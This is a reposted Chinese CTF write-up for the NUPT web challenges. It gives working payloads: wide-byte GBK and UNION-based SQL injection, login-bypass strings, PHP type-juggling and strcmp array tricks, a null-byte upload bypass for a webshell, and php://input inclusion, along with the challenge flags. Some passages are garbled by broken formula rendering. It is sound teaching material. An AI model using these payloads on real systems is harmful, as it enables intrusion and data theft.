admin管理员组文章数量:1122850
南邮CTF——WEB Write Up
md5 collision——md5弱类型
题目:md5 collision
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}"
;}
else {
echo "false!!!";
}}
else{
echo "please input a";
}
?>
一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。
PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的啦!
所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
因此,给a传值240610708,得到网页输出的flag为nctf{md5_collision_is_easy}
签到2 —— 字节数不够
- 方法一:
修改前端提示:请输入口令zhimakaimen
修改前端,把10改为20
- 方法二:
方法二:截包把zhimakaime改成zhimakaimen即可
这题不是web——图片下载记事本打开
看到2.gif,下载,用记事本或者winhex打开
层层递进——htm网页源码
看到so.html,试着点进去 再点so.htm,一直点到404,看到答案
大神文章
MYSQL——robots.txt
题目:MYSQL
看到提示:robots.txt,点百度百科链接进去,发现真的是百度百科… 御剑扫一下后台 发现果然有robots.txt,从网页打开看看是什么 看到中文乱码,保存到txt中再打开(相当于用utf-8解码) 发现flag不在这…继续看网站下的其他文件,发现有个sql.php,但是打不开再回头看刚刚打开的那个页面,发现:,这里给了提示
<?phpif($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
} else{
echo($query[content]);
}}?>
分析这段代码 if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); }
要求id!=1024,get传参尝试一下/sql.php?id=1023
或id =1025
发现显示的貌似不是flag再关注1024,思考可能内容就在id=1024里面,但代码判断不能是1024才显示那我们就要想有什么可以等效1024,但不等于1024很容易想到时mysql的精度问题,输入1024.1试试 就可以得到flag:the flag is:nctf{query_in_mysql}
GBK Injection——宽字节注入
打开网页,发现 显然,绕过输入1’看下结果 过滤了单引号’
1.记录此题,主要学习关于宽字节注入。原理:在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下)。而经过转义之后的单引号’会变为’,即%5c%27。构造id=1%df%27%23,在经过转义传递给mysql时,就是id=1%df%5c%27%23,mysql在解析时,会认为%df%5c是一个汉字,而%27就会闭合掉原本sql语句中的(左)单引号,即select xxx from xxx where id=’%df%5c’#’,%23用于注释掉原本sql语句中的(右)单引号。这就是宽字节注入的原理。
2.构造注入:先查看数据库:http://chinalover.sinaapp/SQL-GBK/index.php?id=-1%df%27 union select null,database()--+
得sae-chinalover
然后查表:http://chinalover.sinaapp/SQL-GBK/index.php?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
这个比较过分,有5个表:ctf,ctf2,ctf3,ctf4,news 因为引号被过滤,按常规的注入,得绕很多。这里猜测flag字段为flag,然后一个一个表查,发现是在表ctf4 语句为:http://chinalover.sinaapp/SQL-GBK/index.php?id=-1%d6%27 union select 1,(select flag from ctf4) --+
更换表名查即可。
bypass again——弱类型
Md5弱类型,输入两串字符使其相等a=240610708&b=QNKCDZO 伪装者——伪造Client-IP 要求本地登陆用brup抓包,在Request头部添加Client-IP: 127.0.0.1
即可,伪造ip,按理来说添加X-Forward-For:127.0.0.1
应该也可以,但是在这不行,只显示了一个flag。
上传绕过 —— 文件上传 / 00截断
传个一句话木马,提示仅支持上传相应后缀文件 传图片,提示后缀为php???
把ma.php改为ma.png,上传抓包试一下
附:文件上传检测的基本思路https://blog.csdn/wy_97/article/details/76549761
http://www.lofter/lpost/30ae63ff_1c6f8f0d0
一般按照思路逐步尝试即可,简单的大小写,加后缀不可过,此题无js,猜测为0x00截断上传,此处仔细分析何为0x00截断上传及其原理 简单举个例子:<% path="upfiles/picture/" file="20121212.jpg" upfilename=path & file '最后的上传地址 %>
upfilename即为最终名字,意思为如果地址为picture/1.php+,文件名为1.jpg则最终上传上去的文件路径为picture/1.php+1.jpg,0x00截断的思路即为将+之后的内容忽略掉,使上传文件1.jpg最终上传到1.php中,此处利用到的就是0x00的截断漏洞,下面用题目做具体说明: 首先bp上传图片,将数据包发到repeater,并对/uploads/后面加上1.php+,此处相当于上述例子中的path: 然后打开hex(16进制),找到+对应的编码: 0x00的意思为16进制00,所以讲+对应的进制改成00(至于怎么找到对应代码,看右边对应代码,找到第几行,从左到右,每个字母对应一个代码),改完直接go SQL注入1 —— 闭合符号看题明显是考察代码审计Secure Web Login<?phpif($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo ''.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "
Logged in! flag:********************
"; } if($query[user] != "admin") { echo("You are not admin!
"); }}echo $query[user];?> Source 通过这句话: s q l = " s e l e c t u s e r f r o m c t f w h e r e ( u s e r = ′ " . sql="select user from ctf where (user='". sql="selectuserfromctfwhere(user=′".user."’) and (pw=’". p a s s . " ′ ) " ; 可 以 发 现 闭 合 符 号 为 ’ ) 通 过 这 句 话 : i f ( pass."')";可以发现闭合符号为’)通过这句话: if( pass."′)";可以发现闭合符号为’)通过这句话:if(query[user]==“admin”) { echo "Logged in! flag:********************
";可以发现题目需要用户名为admin因此在username处输入admin’)#pass check —— 数组
题目:$pass=@$_POST['pass'];$pass1=***********;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>
post方式提交参数pass和pass1F12,POST DATA:pass[]=1&pass1[]=1得到flag
起名字真难 ——弱类型
<?php
function noother_says_correct($number){ $one = ord('1'); $nine = ord('9');
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
} }
return $number == '54975581388';}$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else echo 'access denied';
?> `
要求get传参,且数组key的值要与54975581388
相等分析源码,可知必须等于目标数字但又不能为数字,转化为16进制后可满足要求。用win自带的计算器,切换到程序员模式 Get传参,
0xccccccccc 密码重置 —— BP
题目要求: 题目要求我们将用户名改为admin,F12查看发现不能修改: 然后抓包,我们发现了三个可疑的地方,1、2处先后url解码、base64解码时ctfuser,所以我们将admin的base64、url编码替换1、2,然后将3处改为admin: 或者直接改Params下的user1和user: 改为: 注意user1是用了base64加密得到flag:nctf{reset_password_often_have_vuln}
SQL Injection——反斜杠 转义
题目:继续注入吧!
TIP:反斜杠可以用来转义 仔细查看相关函数的用法网页源代码:
<!--#GOAL: login as admin,then get the flag;error_reporting(0);require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users
WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');}
echo $flag;
-->Invalid password!
注意上面clean function
中的htmlentities()
函数,它会把输入字符中的 ’ 或者 ” 转变为html实体,这样一来就无法闭合源代码中的 ’ 了,还有就是,如果php的magic_quotes_gpc
是开启状态的话,我们输入的转义符也会被去掉的,不过既然这道题目能做,说明我们是可以使用转义符 \ ,我们解这道题的关键就是使用转义符 \ 来让源代码中 'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
$username后面的’
失效,只要 这个 ’ 失效,就能闭合name=后面的 ’ ,要达到这一目的,我们只需要让username=admin \
即可,让后使password的值为一个永真式(or 1=1)就可以得到这道题的flag 这样提交的数据,会导致源代码中的SQL语句变为:SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1
注入语句:?username=admin \&password=or 1=1%23//%23
是#的URL编码 即可得到flag
综合题——jsfuck
打开题目,发现是这样一串字符 粘贴到jsfuck(http://www.jsfuck/)里面解密 得到结果:1bc29b36f623ba82aaf6724fd3b16718.php查看该网页,发现 脑袋=head因此想到抓包 发现history of bash用法就是:http://teamxlc.sinaapp/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history 打开提示一个zip文件,下载就好了/flagbak.zip
SQL注入2 ——post
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
} else {
echo("<p>Log in failure!</p>"); }}
?>```
在username框中输入:Username' and 0=1 union select "c4ca4238a0b923820dcc509a6f75849b"#
在password框中输入:1
原理:最前面的单引号:闭合原文的where user=’AND 0=1 :为了使前面的表达式返回值为空,从而使select pw from php where user=’’ and 0=1
这句话完全没用接着我们使用union select "c4ca4238a0b923820dcc509a6f75849b"
,直接把md5值作为返回值return给
s
q
l
,
这
样
在
查
询
的
时
候
sql,这样在查询的时候
sql,这样在查询的时候query就会有值c4ca4238a0b923820dcc509a6f75849b
这串数字是数字1经过md5 hash之后的结果,可以直接用md5(1)代替最后的#用来注释掉后面的东西
综合题2——未完
https://www.jianshu/p/0ab7c1a9110a 看到最后 有个链接 点进去 发现一个小提示
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, )
各种乱点,发现第二条提示:查看页面源码有惊喜
回去看源码 发现有so.php
只有本公司浏览器才能用回到主页面,在搜索框中输入1
,然后抓包 更改user-agent为Xlcteam Browser
密码重置2——swp
打开网页
观察了一些源代码,果然找到了管理员邮箱admin@nuptzj
看下一个提示非正常关闭vi编辑器时会生成一个.swp文件
尝试http://nctf.nuptzj/web14/submit.php.swp,
404错误
再尝试http://nctf.nuptzj/web14/.submit.php.swp 得到提示
`if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0')
die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "澶辫触浜嗗憖"; }}
token要10,并且要=0,很快想到0e00000000得到flag:nctf{thanks_to_cumt_bxs}
file_get_contents ——文件包含
空白网页,题目中也没给提示,查看源码 http://chinalover.sinaapp/web23/?file=php://inputPost传参:meizijiu
版权声明:本文标题:南邮CTF——WEB Write Up 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.betaflare.com/biancheng/1726378818a1084550.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论